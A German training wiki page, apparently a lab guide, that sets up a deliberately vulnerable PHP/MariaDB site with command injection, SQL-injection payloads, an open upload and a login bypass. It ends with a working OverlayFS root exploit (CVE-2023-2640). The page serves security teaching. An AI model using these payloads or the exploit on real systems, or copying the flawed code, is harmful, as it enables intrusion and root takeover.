Schwachstellenseite unter Ubuntu 20.04 einrichten: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
(Die Seite wurde neu angelegt: „= Apache vorbereiten = * Apache und PHP installieren: apt update apt install -y apache2 php libapache2-mod-php * PHP aktivieren und Apache starten: system…“)
 
 
(15 dazwischenliegende Versionen desselben Benutzers werden nicht angezeigt)
Zeile 109: Zeile 109:
 
}
 
}
 
</pre>
 
</pre>
 +
 
===sql-classic.php===
 
===sql-classic.php===
 
<pre>
 
<pre>
Zeile 258: Zeile 259:
 
  phpinfo();
 
  phpinfo();
 
  ?>
 
  ?>
 +
= Datenbank-Tabelle „rechner“ =
 +
 +
==Tabelle anlegen==
 +
<pre>
 +
CREATE TABLE rechner (
 +
  id INT PRIMARY KEY AUTO_INCREMENT,
 +
  name VARCHAR(50),
 +
  ip VARCHAR(20),
 +
  os VARCHAR(20)
 +
);
 +
</pre>
 +
 +
==Beispiel-Datensätze einfügen==
 +
<pre>
 +
INSERT INTO rechner (name, ip, os) VALUES
 +
('opfer',      '10.0.10.104', 'linux'),
 +
('win10',      '10.0.10.102', 'windows'),
 +
('userver',    '10.0.10.103', 'linux'),
 +
('win2k8-ms',  '10.0.10.107', 'windows'),
 +
('metasploit',  '10.0.10.105', 'linux');
 +
</pre>
 +
CREATE TABLE users (
 +
  id INT PRIMARY KEY AUTO_INCREMENT,
 +
  username VARCHAR(50),
 +
  password VARCHAR(100)
 +
);
 +
 +
= Authentifizierungs-Bypass zeigen =
 +
 +
== Unsicheren Benutzer anlegen ==
 +
<pre>
 +
USE tuxmen;
 +
INSERT INTO users (username, password) VALUES
 +
('admin', 'suxer');
 +
</pre>
 +
 +
== Bypass testen ==
 +
Eingabe im Formular:
 +
 +
<pre>
 +
Benutzername: admin' OR '1'='1' --
 +
Passwort: (beliebig)
 +
</pre>
 +
 +
→ Login funktioniert **ohne Passwortprüfung**
 +
 +
== Wichtig ==
 +
Diese Login-Variante ist **bewusst unsicher** und dient nur zur Demonstration von SQL-Injection!
 +
 +
= Authentifizierungs-Bypass mit unsicherem Login =
 +
 +
==login-bypass.php==
 +
<pre>
 +
<?php
 +
session_start();
 +
error_reporting(E_ALL);
 +
ini_set('display_errors', 1);
 +
 +
$link = mysqli_connect("127.0.0.1", "webuser", "secret", "tuxmen");
 +
mysqli_set_charset($link, "utf8");
 +
 +
$message = '';
 +
 +
if (!empty($_POST['username']) && !empty($_POST['password'])) {
 +
    $user = $_POST['username'];
 +
    $pass = $_POST['password'];
 +
 +
    // UNSICHER – direkt eingefügt → SQL Injection möglich
 +
    $query = "SELECT * FROM users WHERE username = '$user' AND password = '$pass'";
 +
    $result = mysqli_query($link, $query);
 +
 +
    if (mysqli_num_rows($result) === 1) {
 +
        $_SESSION['user'] = $user;
 +
        header("Location: dashboard.php");
 +
        exit;
 +
    } else {
 +
        $message = "Login fehlgeschlagen.";
 +
    }
 +
}
 +
?>
 +
<!DOCTYPE html>
 +
<html>
 +
<head>
 +
  <meta charset="UTF-8">
 +
  <title>Login (unsicher)</title>
 +
</head>
 +
<body>
 +
  <h2>Login (unsicher – SQL Injection möglich)</h2>
 +
  <form method="post">
 +
    <label>Benutzername:</label><br>
 +
    <input type="text" name="username"><br>
 +
    <label>Passwort:</label><br>
 +
    <input type="password" name="password"><br><br>
 +
    <input type="submit" value="Login">
 +
  </form>
 +
  <p style="color:red;"><?php echo $message; ?></p>
 +
</body>
 +
</html>
 +
</pre>
 +
 +
==Bypass-Demo==
 +
Gib folgendes im Login-Formular ein:
 +
 +
<pre>
 +
Benutzername: admin' OR '1'='1
 +
Passwort: egal
 +
</pre>
 +
 +
→ Der Benutzer wird eingeloggt **ohne Passwortprüfung**.
 +
 +
==Hintergrund==
 +
Die SQL-Abfrage wird zu:
 +
<pre>
 +
SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'egal'
 +
</pre>
 +
 +
→ Da `'1'='1'` immer `TRUE` ergibt, wird **die erste passende Zeile zurückgegeben** → Login erfolgreich.
 +
 +
===dashboard.php===
 +
<pre>
 +
<?php
 +
session_start();
 +
if (!isset($_SESSION['user'])) {
 +
    header("Location: login.php");
 +
    exit;
 +
}
 +
 +
$link = mysqli_connect('127.0.0.1', 'webuser', 'secret', 'tuxmen');
 +
mysqli_set_charset($link, "utf8");
 +
 +
if (!$link) {
 +
    die("Verbindung fehlgeschlagen: " . mysqli_connect_error());
 +
}
 +
 +
$result = mysqli_query($link, "SELECT * FROM rechner");
 +
?>
 +
<!DOCTYPE html>
 +
<html>
 +
<head>
 +
  <meta charset="UTF-8">
 +
  <title>Rechnerübersicht</title>
 +
</head>
 +
<body>
 +
  <h2>Willkommen, <?php echo htmlspecialchars($_SESSION['user']); ?>!</h2>
 +
  <h3>Rechner in der Datenbank:</h3>
 +
  <table border="1" cellpadding="5">
 +
    <tr><th>Name</th><th>IP</th><th>OS</th></tr>
 +
    <?php
 +
    while ($row = mysqli_fetch_assoc($result)) {
 +
        echo "<tr>";
 +
        echo "<td>" . htmlspecialchars($row['name']) . "</td>";
 +
        echo "<td>" . htmlspecialchars($row['ip']) . "</td>";
 +
        echo "<td>" . htmlspecialchars($row['os']) . "</td>";
 +
        echo "</tr>";
 +
    }
 +
    ?>
 +
  </table>
 +
  <p><a href="logout.php">Logout</a></p>
 +
</body>
 +
</html>
 +
</pre>
 +
 +
 +
= Lokale Privilege Escalation mit OverlayFS (CVE-2023-2640) =
 +
 +
== Voraussetzungen ==
 +
* Ubuntu 20.04 mit Kernel 5.4.x
 +
* Kein Patch für OverlayFS-Schwachstelle vorhanden
 +
* Kein Root-Zugriff erforderlich
 +
* Nur `gcc` und `setcap` notwendig
 +
 +
== 1. Exploit-Datei erstellen ==
 +
<pre>
 +
#include <stdio.h>
 +
#include <stdlib.h>
 +
#include <unistd.h>
 +
 +
int main() {
 +
    if (setuid(0) != 0) {
 +
        fprintf(stderr, "Failed to set UID to 0.\n");
 +
        return 1;
 +
    }
 +
 +
    printf("Entering privileged shell...\n");
 +
    if (system("/bin/bash -p") == -1) {
 +
        fprintf(stderr, "Failed to execute /bin/bash -p.\n");
 +
        return 1;
 +
    }
 +
 +
    return 0;
 +
}
 +
</pre>
 +
 +
== 2. Exploit kompilieren ==
 +
<pre>
 +
gcc exploit.c -o exploit
 +
</pre>
 +
 +
== 3. Exploit ausführen ==
 +
<pre>
 +
unshare -rm sh -c "
 +
mkdir l u w m &&
 +
cp exploit l/ &&
 +
setcap cap_setuid+eip l/exploit &&
 +
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
 +
touch m/exploit &&
 +
u/exploit"
 +
</pre>
 +
 +
== 4. Erklärung der Zeilen ==
 +
 +
* <code>unshare -rm sh -c "..."</code> 
 +
  → Startet eine neue Shell mit eigenem Mount-Namespace – Voraussetzung, um Overlay-Mounts ohne root zu machen
 +
 +
* <code>mkdir l u w m</code> 
 +
  → Erstellt Verzeichnisse für:
 +
  **l** = lowerdir (originale Daten),
 +
  **u** = upperdir (Schreibschicht),
 +
  **w** = workdir (intern),
 +
  **m** = Mountpunkt
 +
 +
* <code>cp exploit l/</code> 
 +
  → Kopiert das zu eskalierende Binary in das "untere" Dateisystem
 +
 +
* <code>setcap cap_setuid+eip l/exploit</code> 
 +
  → Gibt dem Binary die Fähigkeit, sich selbst auf UID 0 (root) zu setzen
 +
 +
* <code>mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m</code> 
 +
  → Mountet ein OverlayFS-Dateisystem, in dem die `setcap`-Rechte erhalten bleiben – der Trick an der Schwachstelle
 +
 +
* <code>touch m/exploit</code> 
 +
  → Trigger, damit OverlayFS das Dateisystem final synchronisiert
 +
 +
* <code>u/exploit</code> 
 +
  → Führt die „gehärtete“ Kopie mit Root-Rechten aus → Ergebnis: Rootshell
 +
 +
== 5. Ergebnis ==
 +
<pre>
 +
# whoami
 +
root
 +
</pre>
 +
 +
== Hinweis ==
 +
Diese Schwachstelle ist in Ubuntu 20.04 (ungepatcht) ausnutzbar. Neuere Kernel-Versionen verhindern dies durch Sicherheitsprüfungen im OverlayFS-Subsystem. Einsatz ausschließlich zu Schulungszwecken!

Aktuelle Version vom 10. Juni 2025, 07:43 Uhr

Apache vorbereiten

  • Apache und PHP installieren:
apt update
apt install -y apache2 php libapache2-mod-php
  • PHP aktivieren und Apache starten:
systemctl enable apache2
systemctl start apache2

MariaDB vorbereiten

  • MariaDB und PHP-MySQL-Modul installieren:
apt install -y mariadb-server php-mysql
  • MariaDB starten und beim Boot aktivieren:
systemctl enable mariadb
systemctl start mariadb

Datenbank „tuxmen“ vorbereiten

  • Als root anmelden:
mysql -u root
  • Datenbank anlegen:
CREATE DATABASE tuxmen;
USE tuxmen;

Tabelle „mitarbeiter“ erstellen

  • Tabelle erzeugen:
CREATE TABLE mitarbeiter (
  id INT PRIMARY KEY AUTO_INCREMENT,
  username VARCHAR(50),
  password VARCHAR(50),
  fullname VARCHAR(100),
  email VARCHAR(100),
  notes TEXT
);

User erstellen

mysql -u root -p <<EOF
CREATE USER 'webuser'@'localhost' IDENTIFIED BY 'secret';
GRANT ALL PRIVILEGES ON tuxmen.* TO 'webuser'@'localhost';
FLUSH PRIVILEGES;
EOF

Beispieldaten einfügen

  • Testdaten hinzufügen:
INSERT INTO mitarbeiter (username, password, fullname, email, notes) VALUES
('admin',   'admin123', 'Karl Rootmann',     'admin@tuxmen.local',  'Zugang zu allen Systemen'),
('alice',   'alicepw',  'Alice Liddell',     'alice@tuxmen.local',  'Team Marketing, Urlaub bis 22. Mai'),
('bob',     'bobpw',    'Bob Baumeister',    'bob@tuxmen.local',    'Serverraum: Türcode 1234'),
('charlie', 'charliepw','Charlie Foxtrot',   'charlie@tuxmen.local','Entwicklungstools: VSCode, Docker'),
('dora',    'dorapw',   'Dora Explorer',     'dora@tuxmen.local',   'VPN-Probleme gemeldet'),
('eve',     'evepw',    'Evelyn Mallory',    'eve@tuxmen.local',    'Audit-Team, Zugang GVM'),
('frank',   'frankpw',  'Frank Underroot',   'frank@tuxmen.local',  'Sudo-Zugang beantragt'),
('grace',   'gracepw',  'Grace Hopper',      'grace@tuxmen.local',  'Legacy-Projekt „COBOL Revival“'),
('hans',    '1234',   'Hans Hacker',       'hans@tuxmen.local',   'Kali-Linux Testumgebung'),
('irene',   '5678',  'Irene Adler',       'irene@tuxmen.local',  'Zuständig für LDAP und Mailserver');
  • Sitzung beenden:
EXIT

Umsetzung

Zentrale

  • index.html erstellen:
nano index.html

Umsetzung

Zentrale

  • index.html erstellen:
vi index.html
  • Inhalt einfügen:
<!DOCTYPE html>
<html>
 <meta charset="UTF-8">
<head><title>VulnSite</title></head>
<body>
  <h1>VulnSite – Systemmodule</h1>

  <ul>
    <li><a href="host.html">Hostauflösung</a></li>
    <li><a href="sql-classic.php">Benutzerdaten anzeigen</a></li>
    <li><a href="sql-blind.php">Meine Daten bearbeiten</a></li>
    <li><a href="upload.php">Datei senden</a></li>
    <li><a href="info.php">Info</a></li>
<!--    <li><a href="sqli_blind.php">Verbindung prüfen</a></li>
    <li><a href="xss.html">Mitteilung eingeben</a></li>
     -->
  </ul>

</body>
</html>

PHP Dateien

cmd.php

<?php
if (isset($_GET['cmd'])) {
  $input = $_GET['cmd'];
  echo "<pre>";
  system("host " . $input);
  echo "</pre>";
}

sql-classic.php

<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);

$link = mysqli_connect('127.0.0.1', 'webuser', 'secret', 'tuxmen');
mysqli_set_charset($link, "utf8");

if (!$link) {
    die("Verbindung fehlgeschlagen: " . mysqli_connect_error());
}

$search = $_POST['username'] ?? '';
$result = null;

if (!empty($search)) {
    $query = "SELECT * FROM mitarbeiter WHERE username = '$search'";
    if (mysqli_multi_query($link, $query)) {
        do {
            if ($res = mysqli_store_result($link)) {
                while ($row = mysqli_fetch_assoc($res)) {
                    echo "Benutzer: {$row['username']}<br>";
                    echo "Passwort: {$row['password']}<br>";
                    echo "E-Mail: {$row['email']}<br>";
                    echo "Hinweis: {$row['notes']}<br><hr>";
                }
                mysqli_free_result($res);
            }
        } while (mysqli_next_result($link));
    } else {
        echo "Fehler oder keine Ausgabe.";
    }
}

mysqli_close($link);
?>

<form method="post">
  <input type="text" name="username" placeholder="Benutzername oder Injection">
  <input type="submit" value="Suchen">
  <!-- eingabe "' or '1' = '1' -- " Leerzeichen nach -- ist wichtig -->
  <!-- eingabe "' OR 1=1; DELETE FROM mitarbeiter WHERE username='ruedi'; -- " Leerzeichen nach -- ist wichtig -->
  <!-- eingabe "' ; INSERT INTO mitarbeiter (username, password, fullname, email, notes) 
       VALUES ('evil', 'pwned', 'Evil Hacker', 'evil@hax.local', 'per injection hinzugefügt'); -- " -->
</form>

sql-blind.php

<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);

// Datenbankverbindung (unsicher für Demo!)
$link = mysqli_connect('127.0.0.1', 'webuser', 'secret', 'tuxmen');
if (!$link) {
    die("Verbindungsfehler: " . mysqli_connect_error());
}

// Benutzereingabe (ohne Escaping/Sanitizing!)
$username = $_POST['username'] ?? '';
$message = '';

if (!empty($username)) {
    // Kritische SQL-Abfrage (vulnerabel für Injection)
    $query = "SELECT * FROM mitarbeiter WHERE username = '$username'";
   // echo $query;
    $result = mysqli_query($link, $query);

    if (mysqli_num_rows($result) > 0) {
        $message = "<div class='valid'>VALID: Benutzer '$username' existiert!</div>";
    } else {
        $message = "<div class='invalid'>INVALID: Benutzer '$username' existiert NICHT.</div>";
    }
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>Blind-SQL-Injection Demo</title>
    <style>
        body { font-family: Arial, sans-serif; padding: 20px; }
        .valid { color: green; font-weight: bold; }
        .invalid { color: red; font-weight: bold; }
        input, button { padding: 8px; margin: 5px 0; }
    </style>
</head>
<body>
    <h1>Benutzer-Check (Demo für Blind-Injection)</h1>
    
    <form method="POST">
        <input type="text" name="username" placeholder="Benutzername" required>
        <button type="submit">Prüfen</button>
    </form>

    <?php echo $message; ?>

    <h3>Demo-Angriffe (für Blind-Injection):</h3>
    <ul>
        <li>Normale Abfrage: <code>maria</code> → VALID</li>
        <li>Blind-Injection: <code>hans' AND password LIKE '1%' -- </code> → VALID, wenn Passwort mit "1" beginnt.</li>
        <li>Erfolgreicher Guess: <code>hans' AND password = '1234' -- </code> → VALID (Passwort erraten!)</li>
    </ul>
</body>
</html>
<!-- 
 Hacks im Eingabefeld

 maria' AND length(password) < 5  -- '
 maria' AND length(password) > 5  -- '
 maria' AND password = '1234' -- '

-->

<?php mysqli_close($link); ?>

upload.php

Vorabeiten
mkdir /var/www/html/uploads
chown www-data:www-data /var/www/html/uploads
<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);

if (!empty($_FILES['upload'])) {
    $filename = basename($_FILES['upload']['name']);
    $target = "uploads/" . $filename;

    if (move_uploaded_file($_FILES['upload']['tmp_name'], $target)) {
        echo "Datei erfolgreich hochgeladen: <a href='$target'>$filename</a>";
    } else {
        echo "Fehler beim Hochladen.";
    }
}
?>

<form method="post" enctype="multipart/form-data">
  <input type="file" name="upload">
  <input type="submit" value="Hochladen">
</form>

info.php

<?php
phpinfo();
?>

Datenbank-Tabelle „rechner“

Tabelle anlegen

CREATE TABLE rechner (
  id INT PRIMARY KEY AUTO_INCREMENT,
  name VARCHAR(50),
  ip VARCHAR(20),
  os VARCHAR(20)
);

Beispiel-Datensätze einfügen

INSERT INTO rechner (name, ip, os) VALUES
('opfer',       '10.0.10.104', 'linux'),
('win10',       '10.0.10.102', 'windows'),
('userver',     '10.0.10.103', 'linux'),
('win2k8-ms',   '10.0.10.107', 'windows'),
('metasploit',  '10.0.10.105', 'linux');

CREATE TABLE users (

 id INT PRIMARY KEY AUTO_INCREMENT,
 username VARCHAR(50),
 password VARCHAR(100)

);

Authentifizierungs-Bypass zeigen

Unsicheren Benutzer anlegen

USE tuxmen;
INSERT INTO users (username, password) VALUES
('admin', 'suxer');

Bypass testen

Eingabe im Formular:

Benutzername: admin' OR '1'='1' --
Passwort: (beliebig)

→ Login funktioniert **ohne Passwortprüfung**

Wichtig

Diese Login-Variante ist **bewusst unsicher** und dient nur zur Demonstration von SQL-Injection!

Authentifizierungs-Bypass mit unsicherem Login

login-bypass.php

<?php
session_start();
error_reporting(E_ALL);
ini_set('display_errors', 1);

$link = mysqli_connect("127.0.0.1", "webuser", "secret", "tuxmen");
mysqli_set_charset($link, "utf8");

$message = '';

if (!empty($_POST['username']) && !empty($_POST['password'])) {
    $user = $_POST['username'];
    $pass = $_POST['password'];

    // UNSICHER – direkt eingefügt → SQL Injection möglich
    $query = "SELECT * FROM users WHERE username = '$user' AND password = '$pass'";
    $result = mysqli_query($link, $query);

    if (mysqli_num_rows($result) === 1) {
        $_SESSION['user'] = $user;
        header("Location: dashboard.php");
        exit;
    } else {
        $message = "Login fehlgeschlagen.";
    }
}
?>
<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>Login (unsicher)</title>
</head>
<body>
  <h2>Login (unsicher – SQL Injection möglich)</h2>
  <form method="post">
    <label>Benutzername:</label><br>
    <input type="text" name="username"><br>
    <label>Passwort:</label><br>
    <input type="password" name="password"><br><br>
    <input type="submit" value="Login">
  </form>
  <p style="color:red;"><?php echo $message; ?></p>
</body>
</html>

Bypass-Demo

Gib folgendes im Login-Formular ein:

Benutzername: admin' OR '1'='1
Passwort: egal

→ Der Benutzer wird eingeloggt **ohne Passwortprüfung**.

Hintergrund

Die SQL-Abfrage wird zu:

SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'egal'

→ Da `'1'='1'` immer `TRUE` ergibt, wird **die erste passende Zeile zurückgegeben** → Login erfolgreich.

dashboard.php

<?php
session_start();
if (!isset($_SESSION['user'])) {
    header("Location: login.php");
    exit;
}

$link = mysqli_connect('127.0.0.1', 'webuser', 'secret', 'tuxmen');
mysqli_set_charset($link, "utf8");

if (!$link) {
    die("Verbindung fehlgeschlagen: " . mysqli_connect_error());
}

$result = mysqli_query($link, "SELECT * FROM rechner");
?>
<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>Rechnerübersicht</title>
</head>
<body>
  <h2>Willkommen, <?php echo htmlspecialchars($_SESSION['user']); ?>!</h2>
  <h3>Rechner in der Datenbank:</h3>
  <table border="1" cellpadding="5">
    <tr><th>Name</th><th>IP</th><th>OS</th></tr>
    <?php
    while ($row = mysqli_fetch_assoc($result)) {
        echo "<tr>";
        echo "<td>" . htmlspecialchars($row['name']) . "</td>";
        echo "<td>" . htmlspecialchars($row['ip']) . "</td>";
        echo "<td>" . htmlspecialchars($row['os']) . "</td>";
        echo "</tr>";
    }
    ?>
  </table>
  <p><a href="logout.php">Logout</a></p>
</body>
</html>


Lokale Privilege Escalation mit OverlayFS (CVE-2023-2640)

Voraussetzungen

  • Ubuntu 20.04 mit Kernel 5.4.x
  • Kein Patch für OverlayFS-Schwachstelle vorhanden
  • Kein Root-Zugriff erforderlich
  • Nur `gcc` und `setcap` notwendig

1. Exploit-Datei erstellen

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    if (setuid(0) != 0) {
        fprintf(stderr, "Failed to set UID to 0.\n");
        return 1;
    }

    printf("Entering privileged shell...\n");
    if (system("/bin/bash -p") == -1) {
        fprintf(stderr, "Failed to execute /bin/bash -p.\n");
        return 1;
    }

    return 0;
}

2. Exploit kompilieren

gcc exploit.c -o exploit

3. Exploit ausführen

unshare -rm sh -c "
mkdir l u w m &&
cp exploit l/ &&
setcap cap_setuid+eip l/exploit &&
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
touch m/exploit &&
u/exploit"

4. Erklärung der Zeilen

  • unshare -rm sh -c "..."
 → Startet eine neue Shell mit eigenem Mount-Namespace – Voraussetzung, um Overlay-Mounts ohne root zu machen
  • mkdir l u w m
 → Erstellt Verzeichnisse für:
 **l** = lowerdir (originale Daten),
 **u** = upperdir (Schreibschicht),
 **w** = workdir (intern),
 **m** = Mountpunkt
  • cp exploit l/
 → Kopiert das zu eskalierende Binary in das "untere" Dateisystem
  • setcap cap_setuid+eip l/exploit
 → Gibt dem Binary die Fähigkeit, sich selbst auf UID 0 (root) zu setzen
  • mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m
 → Mountet ein OverlayFS-Dateisystem, in dem die `setcap`-Rechte erhalten bleiben – der Trick an der Schwachstelle
  • touch m/exploit
 → Trigger, damit OverlayFS das Dateisystem final synchronisiert
  • u/exploit
 → Führt die „gehärtete“ Kopie mit Root-Rechten aus → Ergebnis: Rootshell

5. Ergebnis

# whoami
root

Hinweis

Diese Schwachstelle ist in Ubuntu 20.04 (ungepatcht) ausnutzbar. Neuere Kernel-Versionen verhindern dies durch Sicherheitsprüfungen im OverlayFS-Subsystem. Einsatz ausschließlich zu Schulungszwecken!